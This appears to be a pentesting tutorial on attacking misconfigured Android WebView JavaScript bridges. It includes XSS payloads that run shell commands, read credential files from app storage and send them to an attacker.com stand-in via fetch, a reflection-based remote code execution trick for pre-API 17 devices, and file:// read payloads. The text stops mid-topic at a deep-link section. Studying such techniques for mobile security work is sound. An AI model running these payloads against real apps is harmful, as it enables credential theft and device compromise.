WebView is a Chromium-based browser embedded in Android apps. When misconfigured, it allows JavaScript to call native Android methods, read local files, or access sensitive data. WebView bugs frequently escalate to full app compromise.
@JavascriptInterface public String readFile(String path) { // Read any file the app can access returnnewString(Files.readAllBytes(Paths.get(path))); } }
Exploiting from XSS in WebView
If the WebView loads an untrusted URL and has a JS bridge:
// Call from XSS injected into the loaded page var secret = Android.getSecret(); Android.execCommand("id > /data/data/com.target.app/files/out.txt"); var fileContent = Android.readFile("/data/data/com.target.app/shared_prefs/creds.xml"); fetch('https://attacker.com/steal?d=' + btoa(fileContent));
Pre-Android 4.2 — All methods exposed
Before API 17, ALL public methods of the JS bridge object are callable — not just those with @JavascriptInterface. This includes inherited methods like getClass(), leading to RCE:
// Pre-API 17 — get Runtime and execute command var runtime = Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null); var process = runtime.exec("id"); // Read process output...
Universal File Read via file://
If setAllowUniversalAccessFromFileURLs(true):
// From any page loaded in the WebView (even http://), read local files fetch('file:///data/data/com.target.app/shared_prefs/user.xml') .then(r => r.text()) .then(d =>fetch('https://attacker.com/?d=' + btoa(d)));
If only setAllowFileAccessFromFileURLs(true):
// Only works when the WebView is already on a file:// URL // Craft an HTML file and get the WebView to load it var xhr = newXMLHttpRequest(); xhr.open('GET', 'file:///etc/hosts', false); xhr.send(); console.log(xhr.responseText);
Deep Link → WebView URL Injection
If the WebView URL comes from a deep link parameter:
No comments yet. Be the first.